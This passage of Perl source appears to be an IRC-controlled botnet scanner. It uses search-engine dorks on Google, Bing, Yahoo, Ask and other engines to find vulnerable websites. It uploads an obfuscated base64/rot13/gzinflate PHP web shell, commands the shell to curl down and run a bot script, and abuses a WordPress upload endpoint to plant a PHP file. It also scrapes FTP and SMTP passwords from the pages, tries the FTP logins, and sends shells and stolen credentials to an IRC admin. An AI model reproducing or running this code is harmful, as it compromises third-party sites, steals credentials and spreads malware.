my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";
my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
while ($hasil = <$remote>) {
if ($hasil =~ /200 OK/) {
$success = 1;
}
return $success;
}
}

sub ftp() {
	my $host = $_[0];
	my $user = $_[1];
	my $pass = $_[2];
	my $chan = $_[3];
		if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
			my $success = 1;
			use Net::FTP;
			my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
			$success = 0 if $ftp->login($user,$pass);
			$ftp->quit;
			if ($success == 0) {
				&msg("$admin","4,1 [8FTP4] [ 8host : ".$host." 4] [ 8login : ".$user." 4] [ 8pass : ".$pass." 4] 8Success ");
				&msg("$chan","4,1 [8FTP4] Found on 8http://$host ");
			}
		} exit;
	}
}

sub rci_exploit() {
	my $chan = $_[0];
	my $bug = $_[1];
	my $nick = $_[2];
	my $dork = $_[3];
	my $engine = $_[4];
	my $count = 0;
	my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rcilogo);
	my $num = scalar(@totexploit);
	if ($num > 0){
		foreach my $site(@totexploit){
		$count++;
			foreach my $jpath(@jpaths) {
			my $shell = "http://".$site.$jpath.$jshell;
			my $vuln = "http://".$site.$jpath.$jvuln."?name=lobex21.php";
            if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
			my $status = &rci_upload($vuln);
			if ($status = 1) {
			my $check = &get_content($shell."?rf");
				if ($check =~ /UnKnown - Simple Shell/) {
				&get_content($shell."?cmd=curl+-C+-+-O+".$botxx."perl alb.txt;rm -rf alb*");
				my $safe = ""; my $os = ""; my $uid = "";
				my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = "";
				my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = "";
				if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
				if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
				if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
				if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
				if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
				if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
				if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
				if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
				if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
				if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
				if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
				&msg("$chan","$rcilogo4$engine 4<9=4>9 Target Sent To 4<9=4>9 $nick4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				if ($nick eq $admin) {
				&msg("$admin","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				} else {
				&msg("$nick","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				&msg("$admin","$rcilogo4$engine 4<9=4>9 sHeLL 4<9=4>9 $shell4 (SafeMode=$safe) (OS=$os) uid=$uid ");
				}
				if ($smtpauth =~ /1/) {
					&msg("$chan","4,1 [8SMTP4] Found on 8http://$site ");
					&msg("$admin","4,1 [8SMTP4] [ 8host : ".$smtphost." 4] [ 8login : ".$smtpuser." 4] [ 8pass : ".$smtppass." 4]");
				}
				if ($ftpopen =~ /1/){
				my $hozt = $site;
				$hozt =~ s/\///;
				&ftp($hozt,$ftpuser,$ftppass,$chan);
				}
			}
			}
		} exit;
			}
		}
		if ($count == $num-1) {
			&msg("$chan","$rcilogo4$engine 9Finished 4for 9$dork ");
			if ($engine =~ /UoL/) {
				&sendraw("mode $chan -m");
			}
		}
		}
	}
}
sub rci_upload() {
my $success = 0;
my $url = $_[0];
my $ua = LWP::UserAgent->new;
my $data = "<?php eval(gzinflate(str_rot13(base64_decode('rUl6QttVEP58VfyHci+SHRUcbaeTKsCoHJgS3U64OLkvAUwbe5N5sdfWbVrIIf77zezabCmU0qr5knFznpl0nh3PmiuVq1XxIkpNyKm73z7c3hIT4u6IsuTaelJuEIbd3tXIGbPP7M65erd/bNzed92LReg4r6QmPtkHQ3jOx/ATAf1/g/6IXgwG19FSLxzQW2cL+WzD3Q/+GQbhIBr2uzZgnCcLiKAsbnHB5JQAgsea3FVZjWuKbiWb8Hk/4RD6RFURWoGlg8YoyxPuLPkvA9vksUjyuEVPLyB9a2UeUZe9swAS9M7P6eHT9hZCWP5X1BUEmdJcFVz5Q2SWl228kCzj7rIjx35UJ3R0fZCp7pnf6VxOkq+B+sFyYhCsgTImRZfa3uFDmALkxylNvTjP6C6hUym6WC9LKUXyJx4Lk3GmaGTQ6TRNgXdaOzeye1pPru45Eqm7uJEErN26DJgbrtQwf2ns9SmvxG0W8e6dRFZZ3HNnPgWDkROnueQ4Njg1cl6pmK/PgROe9rvXg+i8+2pjaGUZOHMWEl53TvxI1EzvZ2sZXA2ifq83Y2E92hFlknvFrMChQ9yqd9PvEotiW74/ZG8O3jQxB2lvICie5YQedqFGfjyUf8l8LskeCVJJpJyEM56mVB3rPRqrcOykhllla65X8R/3fyNknsIB/frBfCDwmG3Luh496oyX4BYYowrO16cu9aDNCAygjTZTt+3R9lt4DAEAjUci8VqmeQE/IcOyhFTJZ+Wcfulcp/WmbWuAQ5DikVOVOc72c5pWJXAtZVaKORQjOEHxPLGPSYwmO3ytyi+1RVJeuujfaDqOmT3j2k5fyqVktffeo1BkXSlW0OJOY2a6j3hpM9i1/aUSNzffRgOiv16kLoSSOSCZylWGmwOUvsZIV5jRwKf0+GhOQvMscDJ2BDwSsqg00YuC+0fzB1oJd+zTOFjopjesxplL+XoeV+5MTZn/ahDfTnPHzuEmRg4HcUVxSKpSwZQ2ZHsJ06xu3rSD3XyjhW6R5iwh5yLlpo0OUz/rcyaShMuaena5YgRZAF+7ZDbxL614frDZXnJkxecGfUDWVqzlVDUt+v0faB3J5/iDkjhycul4tgGwJHgfHeultrbhDWzXtikqNmUsuNmnlU4kAhd7sW0GaU2GVIOp6QDo0TjM/sWFG46cUxLnFuJZkJnDLL/nkc3OkwgD3BchOisiC4Otu3HjmTI1mZ+SCru1e6SZCrgQbIJ74YnYclk2/G4Vx7wsiQaT93I6S14HdIQekifztD0TuR76U3JrU4xxtTNYzCVIr7VP8fUJ+r2ZoH3zgXJd4p6P+AOPXcxxtpodog5v6cZ32bw6sxWFvOawZfwohfy7OKhWUKFgbfbw7asbw1cI4w+gbMJd2m5WBtcuLFKGrxe7NpFsyxizmG5TgxntG7yagAV0IjIXGJCECwwWLcbCtQ+GiZhJkAuWibn/240QAF1/UCE/oI6TlnEvcs6LAv0P')))); ?> ";
my $res = $ua->request(POST $url,Content_Type => 'text/plain', Content => $data);
if ($res->is_success){
$success = 1;
}
return $success;
}

sub cgm_exploit() {
	my $chan = $_[0];
	my $bugz = $_[1];
	my $nick = $_[2];
	my $dork = $_[3];
	my $engine = $_[4];
	my $count = 0;
	my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$cgmlogo);
	my $num = scalar(@totexploit);
	if ($num > 0){
		foreach my $site(@totexploit){
		$count++;
		if ($count == $num-1) { &msg("$chan","$cgmlogo4$engine 9Finished 4for 9$dork "); }
			my $aplod = LWP::UserAgent->new;
			my $res = $aplod->post("http://".$site.$bugz,['qqfile' => ['./xxx.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
			my $hasil = $res->content;
			my $path = "wp-content/2013/10/xxx.php";
			if ($hasil=~ /xxx.php/){
					&msg("$chan","$cgmlogo4$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site ");
				my $test = "http://".$site.$path;
				if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
					my $cekap = &get_content($test);
					if ($cekap =~ /UnKnown - Simple Shell/) {
						my $safe = ""; my $os = ""; my $uid = "";
						if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
						if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
						if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
						&msg("$nick","$cgmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
						&msg("$admin","$cgmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
					}
				} exit;
			} }
		}
	}
}
##################################################################################

sub search_engine() {
    my (@total,@clean);
    my $chan = $_[0];
    my $bug = $_[1];
    my $dork = $_[2];
    my $engine = $_[3];
    my $logo = $_[4];
    if ($engine eq "JacKAE") { my @jackae = &jack($dork."+Kontakt",$jackae); push(@total,@jackae); }
    if ($engine eq "JacKAR") { my @jackar = &jack($dork."+Produkt",$jackar); push(@total,@jackar); }
    if ($engine eq "JacKAT") { my @jackat = &jack($dork."+Produkte",$jackat); push(@total,@jackat); }
    if ($engine eq "JacKAU") { my @jackau = &jack($dork."+Joomla",$jackau); push(@total,@jackau); }
    if ($engine eq "JacKBR") { my @jackbr = &jack($dork."+CMS",$jackbr); push(@total,@jackbr); }
    if ($engine eq "JacKCA") { my @jackca = &jack($dork."+Contact",$jackca); push(@total,@jackca); }
    if ($engine eq "JacKCL") { my @jackcl = &jack($dork."+Content",$jackcl); push(@total,@jackcl); }
    if ($engine eq "JacKCN") { my @jackcn = &jack($dork."+Preise",$jackcn); push(@total,@jackcn); }
    if ($engine eq "JacKCoM") { my @jackcom = &jack($dork."+Galerie",$jackcom); push(@total,@jackcom); }
    if ($engine eq "JacKCZ") { my @jackcz = &jack($dork."+Fotos",$jackcz); push(@total,@jackcz); }
    if ($engine eq "JacKDE") { my @jackde = &jack($dork."+Impressum",$jackde); push(@total,@jackde); }
    if ($engine eq "JacKDK") { my @jackdk = &jack($dork."+lang=de",$jackdk); push(@total,@jackdk); }
    if ($engine eq "JacKES") { my @jackes = &jack($dork."+lang=fr",$jackes); push(@total,@jackes); }
    if ($engine eq "JacKEU") { my @jackeu = &jack($dork."+lang=en",$jackeu); push(@total,@jackeu); }
    if ($engine eq "JacKFR") { my @jackfr = &jack($dork."+Catalog",$jackfr); push(@total,@jackfr); }
    if ($engine eq "JacKHU") { my @jackhu = &jack($dork."+Empresa",$jackhu); push(@total,@jackhu); }
    if ($engine eq "JacKID") { my @jackid = &jack($dork."+Noticias",$jackid); push(@total,@jackid); }
    if ($engine eq "JacKIL") { my @jackil = &jack($dork."+Shop",$jackil); push(@total,@jackil); }
    if ($engine eq "JacKIN") { my @jackin = &jack($dork."+Admin",$jackin); push(@total,@jackin); }
    if ($engine eq "JacKInfO") { my @jackinfo = &jack($dork."+Articles",$jackinfo); push(@total,@jackinfo); }
    if ($engine eq "JacKIR") { my @jackir = &jack($dork."+Producten",$jackir); push(@total,@jackir); }
    if ($engine eq "JacKIT") { my @jackit = &jack($dork."+AGBs",$jackit); push(@total,@jackit); }
    if ($engine eq "JacKJP") { my @jackjp = &jack($dork."+Presse",$jackjp); push(@total,@jackjp); }
    if ($engine eq "JacKKR") { my @jackkr = &jack($dork."+Accueil",$jackkr); push(@total,@jackkr); }
    if ($engine eq "JacKMX") { my @jackmx = &jack($dork."+Gallery",$jackmx); push(@total,@jackmx); }
    if ($engine eq "JacKMY") { my @jackmy = &jack($dork."+Fotos",$jackmy); push(@total,@jackmy); }
    if ($engine eq "JacKNeT") { my @jacknet = &jack($dork."+Photos",$jacknet); push(@total,@jacknet); }
    if ($engine eq "JacKNL") { my @jacknl = &jack($dork."+public_html",$jacknl); push(@total,@jacknl); }
    if ($engine eq "JacKOrG") { my @jackorg = &jack($dork."+Loja",$jackorg); push(@total,@jackorg); }
    if ($engine eq "JacKPH") { my @jackph = &jack($dork."+Contacto",$jackph); push(@total,@jackph); }
    if ($engine eq "JacKPL") { my @jackpl = &jack($dork."+Copyright © 2014",$jackpl); push(@total,@jackpl); }
    if ($engine eq "JacKRO") { my @jackro = &jack($dork."+Sports",$jackro); push(@total,@jackro); }
    if ($engine eq "JacKRU") { my @jackru = &jack($dork."+Images",$jackru); push(@total,@jackru); }
    if ($engine eq "JacKTH") { my @jackth = &jack($dork."+index",$jackth); push(@total,@jackth); }
    if ($engine eq "JacKUA") { my @jackua = &jack($dork."+Strona",$jackua); push(@total,@jackua); }
    if ($engine eq "JacKUK") { my @jackuk = &jack($dork."+Produkty",$jackuk); push(@total,@jackuk); }
    if ($engine eq "JacKUS") { my @jackus = &jack($dork."+About",$jackus); push(@total,@jackus); }
    if ($engine eq "JacKSI") { my @jacksi = &jack($dork."+Contenido",$jacksi); push(@total,@jacksi); }
    if ($engine eq "JacKBE") { my @jackbe = &jack($dork."+StartSeite",$jackbe); push(@total,@jackbe); }
    if ($engine eq "JacKBIZ") { my @jackbiz = &jack($dork."+Frontpage",$jackbiz); push(@total,@jackbiz); }
    if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
    if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
    if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
    if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
    if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
    if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
    if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
    if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
    if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
    if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
    if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
    if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
    if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
    if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
    if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
    if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
    if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
    if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
    if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
    if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
    if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
    if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
    if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
    if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
    if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
    if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
    if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
    if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
    if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
    if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
    if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
    if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
    if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
    if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
    if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
    if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
    if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
    if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
    if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
    if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
    if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
    if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
    if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
    if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
    if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
    if ($engine eq "YahOoES") { my @yahooES = yahooES($dork); push(@total,@yahooES); }
    if ($engine eq "YahOoIT") { my @yahooIT = yahooIT($dork); push(@total,@yahooIT); }
    if ($engine eq "YahOoHK") { my @yahooHK = yahooHK($dork); push(@total,@yahooHK); }
    if ($engine eq "YahOoID") { my @yahooID = yahooID($dork); push(@total,@yahooID); }
    if ($engine eq "YahOoIN") { my @yahooIN = yahooIN($dork); push(@total,@yahooIN); }
    if ($engine eq "YahOoAU") { my @yahooAU = yahooAU($dork); push(@total,@yahooAU); }
    if ($engine eq "YahOoMX") { my @yahooMX = yahooMX($dork); push(@total,@yahooMX); }
    if ($engine eq "YahOoTW") { my @yahooTW = yahooTW($dork); push(@total,@yahooTW); }
    if ($engine eq "YahOoBR") { my @yahooBR = yahooBR($dork); push(@total,@yahooBR); }
    if ($engine eq "YahOoAR") { my @yahooAR = yahooAR($dork); push(@total,@yahooAR); }
    if ($engine eq "YahOoNL") { my @yahooNL = yahooNL($dork); push(@total,@yahooNL); }
    if ($engine eq "YahOoDK") { my @yahooDK = yahooDK($dork); push(@total,@yahooDK); }
    if ($engine eq "YahOoPH") { my @yahooPH = yahooPH($dork); push(@total,@yahooPH); }
    if ($engine eq "YahOoCL") { my @yahooCL = yahooCL($dork); push(@total,@yahooCL); }
    if ($engine eq "YahOoRU") { my @yahooRU = yahooRU($dork); push(@total,@yahooRU); }
    if ($engine eq "YahOoCH") { my @yahooCH = yahooCH($dork); push(@total,@yahooCH); }
    if ($engine eq "YahOoCO") { my @yahooCO = yahooCO($dork); push(@total,@yahooCO); }
    if ($engine eq "YahOoFI") { my @yahooFI = yahooFI($dork); push(@total,@yahooFI); }
    if ($engine eq "YahOoRO") { my @yahooRO = yahooRO($dork); push(@total,@yahooRO); }
    if ($engine eq "YahOoVE") { my @yahooVE = yahooVE($dork); push(@total,@yahooVE); }
    if ($engine eq "YahOoAT") { my @yahooAT = yahooAT($dork); push(@total,@yahooAT); }
    if ($engine eq "YahOoPL") { my @yahooPL = yahooPL($dork); push(@total,@yahooPL); }
    if ($engine eq "YahOoKR") { my @yahooKR = yahooKR($dork); push(@total,@yahooKR); }
    if ($engine eq "YahOoNZ") { my @yahooNZ = yahooNZ($dork); push(@total,@yahooNZ); }
    if ($engine eq "YahOoGR") { my @yahooGR = yahooGR($dork); push(@total,@yahooGR); }
    if ($engine eq "YahOoPE") { my @yahooPE = yahooPE($dork); push(@total,@yahooPE); }
    if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
    if ($engine eq "AsKCA") { my @askCA = askCA($dork); push(@total,@askCA); }
    if ($engine eq "AsKDE") { my @askDE = askDE($dork); push(@total,@askDE); }
    if ($engine eq "AsKIT") { my @askIT = askIT($dork); push(@total,@askIT); }
    if ($engine eq "AsKUK") { my @askUK = askUK($dork); push(@total,@askUK); }
    if ($engine eq "AsKFR") { my @askFR = askFR($dork); push(@total,@askFR); }
    if ($engine eq "AsKES") { my @askES = askES($dork); push(@total,@askES); }
    if ($engine eq "AsKRU") { my @askRU = askRU($dork); push(@total,@askRU); }
    if ($engine eq "AsKNL") { my @askNL = askNL($dork); push(@total,@askNL); }
    if ($engine eq "AsKEU") { my @askEU = askEU($dork); push(@total,@askEU); }
    if ($engine eq "AsKPL") { my @askPL = askPL($dork); push(@total,@askPL); }
    if ($engine eq "AsKAT") { my @askAT = askAT($dork); push(@total,@askAT); }
    if ($engine eq "AsKSE") { my @askSE = askSE($dork); push(@total,@askSE); }
    if ($engine eq "AsKDK") { my @askDK = askDK($dork); push(@total,@askDK); }
    if ($engine eq "AsKNO") { my @askNO = askNO($dork); push(@total,@askNO); }
    if ($engine eq "AsKAU") { my @askAU = askAU($dork); push(@total,@askAU); }
    if ($engine eq "AsKBR") { my @askBR = askBR($dork); push(@total,@askBR); }
    if ($engine eq "AsKMX") { my @askMX = askMX($dork); push(@total,@askMX); }
    if ($engine eq "AsKJP") { my @askJP = askJP($dork); push(@total,@askJP); }
    if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
    if ($engine eq "BingDE") { my @bingDE = bingDE($dork); push(@total,@bingDE); }
    if ($engine eq "BingUK") { my @bingUK = bingUK($dork); push(@total,@bingUK); }
    if ($engine eq "BingCA") { my @bingCA = bingCA($dork); push(@total,@bingCA); }
    if ($engine eq "BingBR") { my @bingBR = bingBR($dork); push(@total,@bingBR); }
    if ($engine eq "BingFR") { my @bingFR = bingFR($dork); push(@total,@bingFR); }
    if ($engine eq "BingES") { my @bingES = bingES($dork); push(@total,@bingES); }
    if ($engine eq "BingIT") { my @bingIT = bingIT($dork); push(@total,@bingIT); }
    if ($engine eq "BingBE") { my @bingBE = bingBE($dork); push(@total,@bingBE); }
    if ($engine eq "BingNL") { my @bingNL = bingNL($dork); push(@total,@bingNL); }
    if ($engine eq "BingPT") { my @bingPT = bingPT($dork); push(@total,@bingPT); }
    if ($engine eq "BingNO") { my @bingNO = bingNO($dork); push(@total,@bingNO); }
    if ($engine eq "BingDK") { my @bingDK = bingDK($dork); push(@total,@bingDK); }
    if ($engine eq "BingSE") { my @bingSE = bingSE($dork); push(@total,@bingSE); }
    if ($engine eq "BingCH") { my @bingCH = bingCH($dork); push(@total,@bingCH); }
    if ($engine eq "BingNZ") { my @bingNZ = bingNZ($dork); push(@total,@bingNZ); }
    if ($engine eq "BingRU") { my @bingRU = bingRU($dork); push(@total,@bingRU); }
    if ($engine eq "BingJP") { my @bingJP = bingJP($dork); push(@total,@bingJP); }
    if ($engine eq "BingCN") { my @bingCN = bingCN($dork); push(@total,@bingCN); }
    if ($engine eq "BingKR") { my @bingKR = bingKR($dork); push(@total,@bingKR); }
    if ($engine eq "BingMX") { my @bingMX = bingMX($dork); push(@total,@bingMX); }
    if ($engine eq "BingAR") { my @bingAR = bingAR($dork); push(@total,@bingAR); }
    if ($engine eq "BingCL") { my @bingCL = bingCL($dork); push(@total,@bingCL); }
    if ($engine eq "BingAU") { my @bingAU = bingAU($dork); push(@total,@bingAU); }
    if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
    if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
    if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); }
    if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
    if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
    if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
    if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
    if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
    if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
    @clean = &clean(@total);
    if ($silentmode == 0) {
    &msg("$chan","$logo4$engine 4<9=4>9 Total:4 [4".scalar(@total)."4] 9 Clean:4 [4".scalar(@clean)."4] "); }
    return @clean;
}
##################################################################################
sub isFound() {
    my $status = 0;
    my $link = $_[0];
    my $reqexp = $_[1];
    my $res = &get_content($link);
    if ($res =~ /$reqexp/) { $status = 1 }
    return $status;
}

sub get_content() {
    my $url = $_[0];
    my $ua = LWP::UserAgent->new(agent => $uagent);
    $ua->timeout($timot);
    my $req = HTTP::Request->new(GET => $url);
    my $res = $ua->request($req);
    return $res->content;
}
######################################### SEARCH ENGINE

sub jack() {
    my @list;
    my $key = $_[0];
	my $jackx = $_[1];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ($jackx.uri_escape($key)."&num=100&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub google() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.com/search?q=".uri_escape($key)."&num=100&filter=0&start=".$i);
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /google/){
                my @grep = &links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleCA() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.ca/search?q=".uri_escape($key)."&hl=&cr=countryCA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleCA/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleDE() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.de/search?q=".uri_escape($key)."&hl=&cr=countryDE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleDE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleUK() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.co.uk/search?q=".uri_escape($key)."&hl=&cr=countryUK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleUK/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleFR() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.fr/search?q=".uri_escape($key)."&hl=&cr=countryFR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleFR/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleES() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.es/search?q=".uri_escape($key)."&hl=&cr=countryES&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleES/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleIT() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleIT/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}
sleep(1);
sub googleNL() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleNL/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleBE() {
    my @list;
    my $key = $_[0];
    for (my $i=0; $i<=1000; $i+=100){
        my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
        my $res = &search_engine_query($search);
        while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
            my $link = $1;
            if ($link !~ /googleBE/){
                my @grep = links($link);
                push(@list,@grep);
            }
        }
    }
    return @list;
}

sub googleCH() {
    my @list;
